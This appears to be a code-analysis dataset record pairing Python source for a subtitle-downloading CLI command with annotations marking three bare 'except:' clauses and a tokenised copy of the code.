bold=True, fg='yellow' if ignored_videos else None),\n 's' if len(ignored_videos) > 1 else '',\n click.style(str(len(errored_paths)), bold=True, fg='red' if errored_paths else None),\n 's' if len(errored_paths) > 1 else '',\n ))\n\n # exit if no video collected\n if not videos:\n return\n\n # download best subtitles\n downloaded_subtitles = defaultdict(list)\n with ProviderPool(providers=provider, provider_configs=obj['provider_configs']) as pool:\n with click.progressbar(videos, label='Downloading subtitles',\n item_show_func=lambda v: os.path.split(v.name)[1] if v is not None else '') as bar:\n for v in bar:\n subtitles = pool.download_best_subtitles(pool.list_subtitles(v, language - v.subtitle_languages),\n v, language, min_score=v.scores['hash'] * min_score / 100,\n hearing_impaired=hearing_impaired, only_one=single)\n downloaded_subtitles[v] = subtitles\n\n # save subtitles\n total_subtitles = 0\n for v, subtitles in downloaded_subtitles.items():\n saved_subtitles = save_subtitles(v, subtitles, single=single, directory=directory, encoding=encoding)\n total_subtitles += len(saved_subtitles)\n\n if verbose > 0:\n click.echo('%s subtitle%s downloaded for %s' % (click.style(str(len(saved_subtitles)), bold=True),\n 's' if len(saved_subtitles) > 1 else '',\n os.path.split(v.name)[1]))\n\n if verbose > 1:\n for s in saved_subtitles:\n matches = s.get_matches(v, hearing_impaired=hearing_impaired)\n score = compute_score(matches, v)\n\n # score color\n score_color = None\n if isinstance(v, Movie):\n if score < v.scores['title']:\n score_color = 'red'\n elif score < v.scores['title'] + v.scores['year'] + v.scores['release_group']:\n score_color = 'yellow'\n else:\n score_color = 'green'\n elif isinstance(v, Episode):\n if score < v.scores['series'] + v.scores['season'] + v.scores['episode']:\n score_color = 'red'\n elif score < (v.scores['series'] + v.scores['season'] + v.scores['episode'] +\n v.scores['release_group']):\n score_color = 'yellow'\n else:\n score_color = 'green'\n\n # scale score from 0 to 100 taking out preferences\n scaled_score = score\n if s.hearing_impaired == hearing_impaired:\n scaled_score -= v.scores['hearing_impaired']\n scaled_score *= 100 / v.scores['hash']\n\n # echo some nice colored output\n click.echo(' - [{score}] {language} subtitle from {provider_name} (match on {matches})'.format(\n score=click.style('{:5.1f}'.format(scaled_score), fg=score_color, bold=score >= v.scores['hash']),\n language=s.language.name if s.language.country is None else '%s (%s)' % (s.language.name,\n s.language.country.name),\n provider_name=s.provider_name,\n matches=', '.join(sorted(matches, key=v.scores.get, reverse=True))\n ))\n\n if verbose == 0:\n click.echo('Downloaded %s subtitle%s' % (click.style(str(total_subtitles), bold=True),\n 's' if total_subtitles > 1 else ''))", "metadata": "root.download", "header": "['module', '___EOS___']", "index": 256 } ]
[ { "span": "except:", "start_line": 299, "start_column": 16, "end_line": 299, "end_column": 23 }, { "span": "except:", "start_line": 311, "start_column": 16, "end_line": 311, "end_column": 23 }, { "span": "except:", "start_line": 325, "start_column": 12, "end_line": 325, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "sublim", "inal", "_", "._", "command_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "click_", "._", "option_", "(_", "'-", "l", "'_", ",_", "'--", "language", "'_", ",_", "type_", "=_", "LANGUAGE", "_", ",_", "required_", "=_", "True_", ",_", "multiple_", "=_", "True_", ",_", "help_", "=_", "'", "Lang", "ua", "ge", " ", "as", " ", "IE", "TF", " ", "code", ",", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "e", ".", "g", ".", " ", "en", ",", " ", "pt", "-", "BR", " ", "(", "can", " ", "be", " ", "used", " ", "multiple", " ", "times", ").'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "click_", "._", "option_", "(_", "'-", "p", "'_", ",_", "'--", "provide", "r", "'_", ",_", "type_", "=_", "PROVIDER", "_", ",_", "multiple_", "=_", "True_", ",_", "help_", "=_", "'", "Provider", " ", "to", " ", "use", " ", "(", "can", " ", "be", " ", "used", " ", "multiple", " ", "times", ").'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "click_", "._", "option_", "(_", "'-", "a", "'_", ",_", "'--", "age", "'_", ",_", "type_", "=_", "AGE_", ",_", "help_", "=_", "'", "Filter", " ", "videos", " ", "newe", "r", " ", "than", " ", "AGE", ",", " ", "e", ".", "g", ".", " ", "1", "2h", ",", " ", "1", "w2", "d", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "click_", "._", "option_", "(_", "'-", "d", "'_", ",_", "'--", "director", "y", "'_", ",_", "type_", "=_", "click_", "._", "STRING_", ",_", "metavar_", "=_", "'", "DIR", "'_", ",_", "help_", "=_", "'", "Director", "y", " ", "where", " ", "to", " ", "save", " ", "subtit", "les", ",", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "default", " ", "is", " ", "next", " ", "to", " ", "the", " ", "video", " ", "file", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "click_", "._", "option_", "(_", "'-", "e", "'_", ",_", "'--", "encoding", "'_", ",_", "type_", "=_", "click_", "._", "STRING_", ",_", "metavar_", "=_", "'", "ENC", "'_", ",_", "help_", "=_", "'", "Subtitle", " ", "file", " ", "encoding", ",", " ", "default", " ", "is", " ", "to", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "preserve", " ", "original", " ", "encoding", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "click_", "._", "option_", "(_", "'-", "s", "'_", ",_", "'--", "single", "'_", ",_", "is", "\\u", "flag_", "=_", "True_", ",_", "default_", "=_", "False_", ",_", "help_", "=_", "'", "Save", " ", "subtit", "le", " ", "with", "out", " ", "language", " ", "code", " ", "in", " ", "the", " ", "file", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", ",", " ", "i", ".", "e", ".", " ", "use", " ", ".", "srt", " ", "extensi", "on", ".", " ", "Do", " ", "not", " ", "use", " ", "this", " ", "unl", "ess", " ", "your", " ", "media", " ", "player", " ", "require", "s", " ", "it", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "click_", "._", "option_", "(_", "'-", "f", "'_", ",_", "'--", "force", "'_", ",_", "is", "\\u", "flag_", "=_", "True_", ",_", "default_", "=_", "False_", ",_", "help_", "=_", "'", "Force", " ", "download", " ", "even", " ", "if", " ", "a", " ", "subtit", "le", " ", "alr", "ead", "y", " ", "exist", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "click_", "._", "option_", "(_", "'-", "hi", "'_", ",_", "'--", "hear", "ing", "-", "imp", "aire", "d", "'_", ",_", "is", "\\u", "flag_", "=_", "True_", ",_", "default_", "=_", "False_", ",_", "help_", "=_", "'", "Prefe", "r", " ", "hear", "ing", " ", "imp", "aire", "d", " ", "subtit", "les", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "click_", "._", "option_", "(_", "'-", "m", "'_", ",_", "'--", "min", "-", "score", "'_", ",_", "type_", "=_", "click_", "._", "Int", "Range_", "(_", "0_", ",_", "100_", ")_", ",_", "default_", "=_", "0_", ",_", "help_", "=_", "'", "Mini", "mum", " ", "score", " ", "for", " ", "a", " ", "subtit", "le", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "to", " ", "be", " ", "download", "ed", " ", "(", "0", " ", "to", " ", "100", ").'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "click_", "._", "option_", "(_", "'-", "v", "'_", ",_", "'--", "verbo", "se", "'_", ",_", "count_", "=_", "True_", ",_", "help_", "=_", "'", "Increase", " ", "verbo", "sity", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "click_", "._", "argument_", "(_", "'", "path", "'_", ",_", "type_", "=_", "click_", "._", "Path_", "(_", ")_", ",_", "required_", "=_", "True_", ",_", "nargs_", "=_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "click_", "._", "pass", "\\u", "obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "download_", "(_", "obj_", ",_", "provider_", ",_", "language_", ",_", "age_", ",_", "directory_", ",_", "encoding_", ",_", "single_", ",_", "force_", ",_", "hear", "ing", "\\u", "imp", "aire", "d_", ",_", "min", "\\u", "score_", ",_", "verbose_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Down", "load", " ", "best", " ", "subtit", "les", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "PATH", " ", "can", " ", "be", " ", "an", " ", "director", "y", " ", "contain", "ing", " ", "videos", ",", " ", "a", " ", "video", " ", "file", " ", "path", " ", "or", " ", "a", " ", "video", " ", "file", " ", "name", ".", " ", "It", " ", "can", " ", "be", " ", "used", " ", "multiple", " ", "times", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "an", " ", "exist", "ing", " ", "subtit", "le", " ", "is", " ", "detect", "ed", " ", "(", "external", " ", "or", " ", "embedde", "d", ")", " ", "in", " ", "the", " ", "correct", " ", "language", ",", " ", "the", " ", "download", " ", "is", " ", "skip", "ped", " ", "for", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "associate", "d", " ", "video", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "process", " ", "parameters_", "\\u\\u\\uNL\\u\\u\\u_", "language_", "=_", "set_", "(_", "language_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "scan", " ", "videos_", "\\u\\u\\uNL\\u\\u\\u_", "videos_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ignore", "d\\u", "videos_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "errore", "d\\u", "paths_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "click_", "._", "progressbar_", "(_", "path_", ",_", "label_", "=_", "'", "Collecti", "ng", " ", "videos", "'_", ",_", "item", "\\u", "show", "\\u", "func_", "=_", "lambda_", "p_", ":_", "p_", "or_", "''_", ")_", "as_", "bar_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "p_", "in_", "bar_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "debug_", "(_", "'", "Collecti", "ng", " ", "path", " ", "%", "s", "'_", ",_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "non", "-", "existing_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "p_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "video_", "=_", "Video_", "._", "from", "name_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "logger_", "._", "exception_", "(_", "'", "Une", "xpe", "cte", "d", " ", "error", " ", "whi", "le", " ", "collecti", "ng", " ", "non", "-", "exist", "ing", " ", "path", " ", "%", "s", "'_", ",_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "errore", "d\\u", "paths_", "._", "append_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "videos_", "._", "append_", "(_", "video_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "directories_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isdir_", "(_", "p_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "scanned", "\\u", "videos_", "=_", "scan", "\\u", "videos_", "(_", "p_", ",_", "subtitles_", "=_", "not_", "force_", ",_", "embedde", "d\\u", "subtitles_", "=_", "not_", "force_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "subtit", "les", "\\u", "dir_", "=_", "directory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "logger_", "._", "exception_", "(_", "'", "Une", "xpe", "cte", "d", " ", "error", " ", "whi", "le", " ", "collecti", "ng", " ", "director", "y", " ", "path", " ", "%", "s", "'_", ",_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "errore", "d\\u", "paths_", "._", "append_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "video_", "in_", "scanned", "\\u", "videos_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "check", "\\u", "video_", "(_", "video_", ",_", "languages_", "=_", "language_", ",_", "age_", "=_", "age_", ",_", "undefined", "_", "=_", "single_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "videos_", "._", "append_", "(_", "video_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "ignore", "d\\u", "videos_", "._", "append_", "(_", "video_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "other", " ", "inputs_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "video_", "=_", "scan", "\\u", "video_", "(_", "p_", ",_", "subtitles_", "=_", "not_", "force_", ",_", "embedde", "d\\u", "subtitles_", "=_", "not_", "force_", ",_", "subtit", "les", "\\u", "dir_", "=_", "directory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "exception_", "(_", "'", "Une", "xpe", "cte", "d", " ", "error", " ", "whi", "le", " ", "collecti", "ng", " ", "path", " ", "%", "s", "'_", ",_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "errore", "d\\u", "paths_", "._", "append_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "check", "\\u", "video_", "(_", "video_", ",_", "languages_", "=_", "language_", ",_", "age_", "=_", "age_", ",_", "undefined", "_", "=_", "single_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "videos_", "._", "append_", "(_", "video_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ignore", "d\\u", "videos_", "._", "append_", "(_", "video_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "output", " ", "errore", "d", " ", "paths_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "verbose_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "p_", "in_", "errore", "d\\u", "paths_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "click_", "._", "sec", "ho_", "(_", "'%", "s", " ", "errore", "d", "'_", "%_", "p_", ",_", "fg_", "=_", "'", "red", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "output", " ", "ignore", "d", " ", "videos_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "verbose_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "video_", "in_", "ignore", "d\\u", "videos_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "click_", "._", "sec", "ho_", "(_", "'%", "s", " ", "ignore", "d", " ", "-", " ", "subtit", "les", ":", " ", "%", "s", " ", "/", " ", "age", ":", " ", "%", "d", " ", "day", "%", "s", "'_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "path_", "._", "split_", "(_", "video_", "._", "name_", ")_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "',", " ", "'_", "._", "join_", "(_", "str_", "(_", "s_", ")_", "for_", "s_", "in_", "video_", "._", "subtit", "le", "\\u", "languages_", ")_", "or_", "'", "none", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "video_", "._", "age_", "._", "days_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "s", "'_", "if_", "video_", "._", "age_", "._", "days_", ">_", "1_", "else_", "''_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "fg_", "=_", "'", "yell", "ow", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "report", " ", "collected", " ", "videos_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "click_", "._", "echo_", "(_", "'%", "s", " ", "video", "%", "s", " ", "collected", " ", "/", " ", "%", "s", " ", "video", "%", "s", " ", "ignore", "d", " ", "/", " ", "%", "s", " ", "error", "%", "s", "'_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "click_", "._", "style_", "(_", "str_", "(_", "len_", "(_", "videos_", ")_", ")_", ",_", "bold_", "=_", "True_", ",_", "fg_", "=_", "'", "green", "'_", "if_", "videos_", "else_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "s", "'_", "if_", "len_", "(_", "videos_", ")_", ">_", "1_", "else_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "click_", "._", "style_", "(_", "str_", "(_", "len_", "(_", "ignore", "d\\u", "videos_", ")_", ")_", ",_", "bold_", "=_", "True_", ",_", "fg_", "=_", "'", "yell", "ow", "'_", "if_", "ignore", "d\\u", "videos_", "else_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "s", "'_", "if_", "len_", "(_", "ignore", "d\\u", "videos_", ")_", ">_", "1_", "else_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "click_", "._", "style_", "(_", "str_", "(_", "len_", "(_", "errore", "d\\u", "paths_", ")_", ")_", ",_", "bold_", "=_", "True_", ",_", "fg_", "=_", "'", "red", "'_", "if_", "errore", "d\\u", "paths_", "else_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "s", "'_", "if_", "len_", "(_", "errore", "d\\u", "paths_", ")_", ">_", "1_", "else_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "exit", " ", "if", " ", "no", " ", "video", " ", "collected", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "videos_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "download", " ", "best", " ", "subtitles_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "downloaded\\u", "subtitles_", "=_", "defaultdict_", "(_", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "Provider", "Pool_", "(_", "providers_", "=_", "provider_", ",_", "provide", "r", "\\u", "configs_", "=_", "obj_", "[_", "'", "provide", "r", "\\u", "configs", "'_", "]_", ")_", "as_", "pool_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "click_", "._", "progressbar_", "(_", "videos_", ",_", "label_", "=_", "'", "Down", "load", "ing", " ", "subtit", "les", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "item", "\\u", "show", "\\u", "func_", "=_", "lambda_", "v_", ":_", "os_", "._", "path_", "._", "split_", "(_", "v_", "._", "name_", ")_", "[_", "1_", "]_", "if_", "v_", "is_", "not_", "None_", "else_", "''_", ")_", "as_", "bar_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "v_", "in_", "bar_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subtitles_", "=_", "pool_", "._", "download", "\\u", "best", "\\u", "subtitles_", "(_", "pool_", "._", "list", "\\u", "subtitles_", "(_", "v_", ",_", "language_", "-_", "v_", "._", "subtit", "le", "\\u", "languages_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "v_", ",_", "language_", ",_", "min", "\\u", "score_", "=_", "v_", "._", "scores_", "[_", "'", "hash", "'_", "]_", "*_", "min", "\\u", "score_", "/_", "100_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hear", "ing", "\\u", "imp", "aire", "d_", "=_", "hear", "ing", "\\u", "imp", "aire", "d_", ",_", "only", "\\u", "one_", "=_", "single_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "downloaded\\u", "subtitles_", "[_", "v_", "]_", "=_", "subtitles_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "save", " ", "subtitles_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "total", "\\u", "subtitles_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "v_", ",_", "subtitles_", "in_", "downloaded\\u", "subtitles_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "saved", "\\u", "subtitles_", "=_", "save", "\\u", "subtitles_", "(_", "v_", ",_", "subtitles_", ",_", "single_", "=_", "single_", ",_", "directory_", "=_", "directory_", ",_", "encoding_", "=_", "encoding_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total", "\\u", "subtitles_", "+=_", "len_", "(_", "saved", "\\u", "subtitles_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "verbose_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "click_", "._", "echo_", "(_", "'%", "s", " ", "subtit", "le", "%", "s", " ", "download", "ed", " ", "for", " ", "%", "s", "'_", "%_", "(_", "click_", "._", "style_", "(_", "str_", "(_", "len_", "(_", "saved", "\\u", "subtitles_", ")_", ")_", ",_", "bold_", "=_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "s", "'_", "if_", "len_", "(_", "saved", "\\u", "subtitles_", ")_", ">_", "1_", "else_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "path_", "._", "split_", "(_", "v_", "._", "name_", ")_", "[_", "1_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "verbose_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "s_", "in_", "saved", "\\u", "subtitles_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "matches_", "=_", "s_", "._", "get", "\\u", "matches_", "(_", "v_", ",_", "hear", "ing", "\\u", "imp", "aire", "d_", "=_", "hear", "ing", "\\u", "imp", "aire", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "score_", "=_", "compute", "\\u", "score_", "(_", "matches_", ",_", "v_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "score", " ", "color_", "\\u\\u\\uNL\\u\\u\\u_", "score", "\\u", "color_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "v_", ",_", "Movie_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "score_", "<_", "v_", "._", "scores_", "[_", "'", "title", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "score", "\\u", "color_", "=_", "'", "red", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "score_", "<_", "v_", "._", "scores_", "[_", "'", "title", "'_", "]_", "+_", "v_", "._", "scores_", "[_", "'", "year", "'_", "]_", "+_", "v_", "._", "scores_", "[_", "'", "release", "\\u", "group", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "score", "\\u", "color_", "=_", "'", "yell", "ow", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "score", "\\u", "color_", "=_", "'", "green", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "v_", ",_", "Episode_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "score_", "<_", "v_", "._", "scores_", "[_", "'", "series", "'_", "]_", "+_", "v_", "._", "scores_", "[_", "'", "season", "'_", "]_", "+_", "v_", "._", "scores_", "[_", "'", "episode", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "score", "\\u", "color_", "=_", "'", "red", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "score_", "<_", "(_", "v_", "._", "scores_", "[_", "'", "series", "'_", "]_", "+_", "v_", "._", "scores_", "[_", "'", "season", "'_", "]_", "+_", "v_", "._", "scores_", "[_", "'", "episode", "'_", "]_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "v_", "._", "scores_", "[_", "'", "release", "\\u", "group", "'_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "score", "\\u", "color_", "=_", "'", "yell", "ow", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "score", 